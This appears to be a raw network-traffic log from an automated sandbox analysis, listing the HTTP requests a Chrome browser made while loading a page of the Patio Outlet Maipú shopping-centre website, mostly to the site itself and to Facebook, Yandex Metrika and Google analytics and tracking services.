Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/oxygen/component-framework/vendor/aos/aos.js?ver=1 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://patiooutletmaipu.cl/tiendas/head/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2023/09/TikTok-Icon.png HTTP/1.1Host: patiooutletmaipu.clConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metrika/tag.js HTTP/1.1Host: mc.yandex.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/oxygen/component-framework/vendor/aos/aos.js?ver=1 HTTP/1.1Host: patiooutletmaipu.clConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cjs_id=94e37336-e4b6-4f92-a196-add1c5c06323
Source: global traffic	HTTP traffic detected: GET /recaptcha/about/images/reCAPTCHA-logo@2x.png HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /signals/config/417760590628659?v=2.9.179&r=stable&domain=patiooutletmaipu.cl&hme=b8122d5d96cd6f542162ba4f497489972d1ebe228d24c39d34f560e30ae932ce&ex_m=70%2C122%2C107%2C111%2C61%2C4%2C100%2C69%2C16%2C97%2C89%2C51%2C54%2C173%2C176%2C188%2C184%2C185%2C187%2C29%2C101%2C53%2C77%2C186%2C168%2C171%2C181%2C182%2C189%2C132%2C41%2C191%2C192%2C34%2C144%2C15%2C50%2C197%2C196%2C134%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C93%2C17%2C14%2C96%2C92%2C91%2C108%2C52%2C110%2C39%2C109%2C30%2C94%2C26%2C169%2C172%2C141%2C86%2C56%2C84%2C33%2C73%2C0%2C95%2C32%2C28%2C82%2C83%2C88%2C47%2C46%2C87%2C37%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C102%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C104%2C103%2C105%2C98%2C10%2C20%2C3%2C38%2C74%2C19%2C5%2C90%2C81%2C44%2C35%2C85%2C2%2C36%2C63%2C42%2C106%2C45%2C79%2C68%2C112%2C60%2C59%2C31%2C99%2C58%2C55%2C49%2C78%2C72%2C24%2C113 HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td/ga/rul?tid=G-CH16T48972&gacid=1483336929.1736538575&gtm=45je5190v9178914784za200zb9179349893&dma=0&gcd=13l3l3l3l1l1&npa=0&pscdl=noapi&aip=1&fledge=1&frm=0&tag_exp=101925629~102067555~102067808~102081485~102198178&z=207310293 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metrika/tag.js HTTP/1.1Host: mc.yandex.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; yandexuid=4946145631736538575; yashr=9555464931736538575
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_check HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metrika/advert.gif HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /metrika/metrika_match.html HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=417760590628659&ev=PageView&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&rl=&if=false&ts=1736538576132&sw=1280&sh=1024&v=2.9.179&r=stable&ec=0&o=4126&fbp=fb.1.1736538576130.896064100752492762&ler=empty&cdl=API_unavailable&it=1736538574771&coo=false&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /signals/config/417760590628659?v=2.9.179&r=stable&domain=patiooutletmaipu.cl&hme=b8122d5d96cd6f542162ba4f497489972d1ebe228d24c39d34f560e30ae932ce&ex_m=70%2C122%2C107%2C111%2C61%2C4%2C100%2C69%2C16%2C97%2C89%2C51%2C54%2C173%2C176%2C188%2C184%2C185%2C187%2C29%2C101%2C53%2C77%2C186%2C168%2C171%2C181%2C182%2C189%2C132%2C41%2C191%2C192%2C34%2C144%2C15%2C50%2C197%2C196%2C134%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C93%2C17%2C14%2C96%2C92%2C91%2C108%2C52%2C110%2C39%2C109%2C30%2C94%2C26%2C169%2C172%2C141%2C86%2C56%2C84%2C33%2C73%2C0%2C95%2C32%2C28%2C82%2C83%2C88%2C47%2C46%2C87%2C37%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C102%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C104%2C103%2C105%2C98%2C10%2C20%2C3%2C38%2C74%2C19%2C5%2C90%2C81%2C44%2C35%2C85%2C2%2C36%2C63%2C42%2C106%2C45%2C79%2C68%2C112%2C60%2C59%2C31%2C99%2C58%2C55%2C49%2C78%2C72%2C24%2C113 HTTP/1.1Host: connect.facebook.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=417760590628659&ev=PageView&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&rl=&if=false&ts=1736538576132&sw=1280&sh=1024&v=2.9.179&r=stable&ec=0&o=4126&fbp=fb.1.1736538576130.896064100752492762&ler=empty&cdl=API_unavailable&it=1736538574771&coo=false&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: not-navigation-source, trigger, event-sourceReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_start?redirect_domain=mc.yandex.com&token=10611.5SzGDd9k7BJ0JsXzcaxkxWTH_gz3Mc9Fvju8hoIj4wD-bNCXGTjQwletmDtTbSl2.WvQMpOv10FY1opxfV0flPpnFaIU%2C HTTP/1.1Host: mc.yandex.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=0DTSXy4N6vaaSNZFE+25XDO2cNJfdtSe9bCz+90AJvh1PdOtH4dScd2pPyFAEIyAAawlENF9ohteu9YPpSJL3SqzA/U=; yandexuid=4946145631736538575; yashr=9555464931736538575
Source: global traffic	HTTP traffic detected: GET /metrika/advert.gif HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=2365612593fake; i=ok4uL17sX+UEqNiOYkLeLaeAzE4EFeawswJCkRFwpxfC7HNGUXhiXu3L8INqwvGTb9RXkWBBiXl4JlMg2Uc3o5uQqsQ=; yandexuid=7399204401736538576; yashr=2728598011736538576
Source: global traffic	HTTP traffic detected: GET /watch/99162160?wmode=7&page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.149%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.149%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.149%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144935%3Aet%3A1736538575%3Ac%3A1%3Arn%3A476041989%3Arqn%3A1%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5286%3Awv%3A2%3Ads%3A481%2C1041%2C1223%2C270%2C4%2C0%2C%2C4549%2C0%2C%2C%2C%2C7583%3Aco%3A0%3Acpf%3A1%3Ans%3A1736538566834%3Agi%3AR0ExLjEuMTQ4MzMzNjkyOS4xNzM2NTM4NTc1%3Aadb%3A2%3Arqnl%3A1%3Ast%3A1736538577%3At%3AHead%20-%20Patio%20Outlet%20Maip%C3%BA&t=gdpr(14)clc(0-0-0)rqnt(1)aw(1)rcm(1)cdl(na)eco(42009088)ti(1) HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://patiooutletmaipu.clSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=2365612593fake; i=ok4uL17sX+UEqNiOYkLeLaeAzE4EFeawswJCkRFwpxfC7HNGUXhiXu3L8INqwvGTb9RXkWBBiXl4JlMg2Uc3o5uQqsQ=; yandexuid=7399204401736538576; yashr=2728598011736538576
Source: global traffic	HTTP traffic detected: GET /tr/?id=417760590628659&ev=PageView&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&rl=&if=false&ts=1736538576132&sw=1280&sh=1024&v=2.9.179&r=stable&ec=0&o=4126&fbp=fb.1.1736538576130.896064100752492762&ler=empty&cdl=API_unavailable&it=1736538574771&coo=false&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=417760590628659&ev=PageView&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&rl=&if=false&ts=1736538576132&sw=1280&sh=1024&v=2.9.179&r=stable&ec=0&o=4126&fbp=fb.1.1736538576130.896064100752492762&ler=empty&cdl=API_unavailable&it=1736538574771&coo=false&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.149%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.149%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.149%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144935%3Aet%3A1736538575%3Ac%3A1%3Arn%3A476041989%3Arqn%3A1%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5286%3Awv%3A2%3Ads%3A481%2C1041%2C1223%2C270%2C4%2C0%2C%2C4549%2C0%2C%2C%2C%2C7583%3Aco%3A0%3Acpf%3A1%3Ans%3A1736538566834%3Agi%3AR0ExLjEuMTQ4MzMzNjkyOS4xNzM2NTM4NTc1%3Aadb%3A2%3Arqnl%3A1%3Ast%3A1736538577%3At%3AHead%20-%20Patio%20Outlet%20Maip%C3%BA&t=gdpr%2814%29clc%280-0-0%29rqnt%281%29aw%281%29rcm%281%29cdl%28na%29eco%2842009088%29ti%281%29 HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://patiooutletmaipu.clSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=2365612593fake; i=xRgqfr/UrWinH+qCIiOPVF1TtC7p5HmTbkosbF3+rabU9WQ4KByHki+OUzImyv9stuyA1qBWFQXABgHDHRKEDPMBU+M=; yashr=5031234511736538577; yabs-sid=2548642991736538578; yandexuid=7399204401736538576; yuidss=7399204401736538576; ymex=1768074578.yrts.1736538578; receive-cookie-deprecation=1; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi
Source: global traffic	HTTP traffic detected: GET /sync_cookie_image_decide?token=10611.JUF1MuFmiPyXUm6a1MGVEyQu2AO5moUOd2gL-lv6Tu7uTtcczDwA_gJoVPe5P3XwqlxSbVa49buIFyXpVKKBlYQdmxwHPu4Ql4ug-i58flYmL5AYtUjxT1NSgqYQu7LMJBX37AM4GChZwoeMgYqGO9RO4fV1vcMeCU6ngQgz914bA2v6Yzo3qxAQIV8hBzU06pnt_qkkOf7izUOX-8YlBVdZM4XWKv0PMmWzSggnusE%2C.bd5VTRoSpAFtzdtuQKoJYfqEvyw%2C HTTP/1.1Host: mc.yandex.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://patiooutletmaipu.cl/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=2365612593fake; i=xRgqfr/UrWinH+qCIiOPVF1TtC7p5HmTbkosbF3+rabU9WQ4KByHki+OUzImyv9stuyA1qBWFQXABgHDHRKEDPMBU+M=; yandexuid=5374458211736538577; yashr=5031234511736538577
Source: global traffic	HTTP traffic detected: GET /watch/99162160/1?wmode=7&page-url=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&charset=utf-8&uah=chu%0A%22Google%20Chrome%22%3Bv%3D%22117%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228%22%2C%22Chromium%22%3Bv%3D%22117%22%0Acha%0Ax86%0Achb%0A64%0Achf%0A117.0.5938.149%0Achl%0A%22Google%20Chrome%22%3Bv%3D%22117.0.5938.149%22%2C%22Not%3BA%3DBrand%22%3Bv%3D%228.0.0.0%22%2C%22Chromium%22%3Bv%3D%22117.0.5938.149%22%0Achm%0A%3F0%0Achp%0AWindows%0Achv%0A10.0.0&browser-info=pv%3A1%3Avf%3A14pwap7gbnl70a58u0m6s2b47zyz%3Afu%3A0%3Aen%3Autf-8%3Ala%3Aen-US%3Av%3A1551%3Acn%3A1%3Adp%3A0%3Als%3A1716084514466%3Ahid%3A556758376%3Az%3A-300%3Ai%3A20250110144935%3Aet%3A1736538575%3Ac%3A1%3Arn%3A476041989%3Arqn%3A1%3Au%3A1736538575118140447%3Aw%3A1280x907%3As%3A1280x1024x24%3Ask%3A1%3Afp%3A5286%3Awv%3A2%3Ads%3A481%2C1041%2C1223%2C270%2C4%2C0%2C%2C4549%2C0%2C%2C%2C%2C7583%3Aco%3A0%3Acpf%3A1%3Ans%3A1736538566834%3Agi%3AR0ExLjEuMTQ4MzMzNjkyOS4xNzM2NTM4NTc1%3Aadb%3A2%3Arqnl%3A1%3Ast%3A1736538577%3At%3AHead%20-%20Patio%20Outlet%20Maip%C3%BA&t=gdpr%2814%29clc%280-0-0%29rqnt%281%29aw%281%29rcm%281%29cdl%28na%29eco%2842009088%29ti%281%29 HTTP/1.1Host: mc.yandex.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync_cookie_csrf=2365612593fake; i=xRgqfr/UrWinH+qCIiOPVF1TtC7p5HmTbkosbF3+rabU9WQ4KByHki+OUzImyv9stuyA1qBWFQXABgHDHRKEDPMBU+M=; yashr=5031234511736538577; _yasc=XBTvOcOUmm/LrRfLgjP/nG6xnbj6/8NZFk5mMYsug+3q5nXNyN5CUV2AOFKuT12L+c73; yabs-sid=2548642991736538578; yandexuid=7399204401736538576; yuidss=7399204401736538576; ymex=1768074578.yrts.1736538578; bh=Ej4iR29vZ2xlIENocm9tZSI7dj0iMTE3IiwiTm90O0E9QnJhbmQiO3Y9IjgiLCJDaHJvbWl1bSI7dj0iMTE3IhoFIng4NiIiECIxMTcuMC41OTM4LjE0OSIqAj8wOgkiV2luZG93cyJCCCIxMC4wLjAiSgQiNjQiUlsiR29vZ2xlIENocm9tZSI7dj0iMTE3LjAuNTkzOC4xNDkiLCJOb3Q7QT1CcmFuZCI7dj0iOC4wLjAuMCIsIkNocm9taXVtIjt2PSIxMTcuMC41OTM4LjE0OSIi
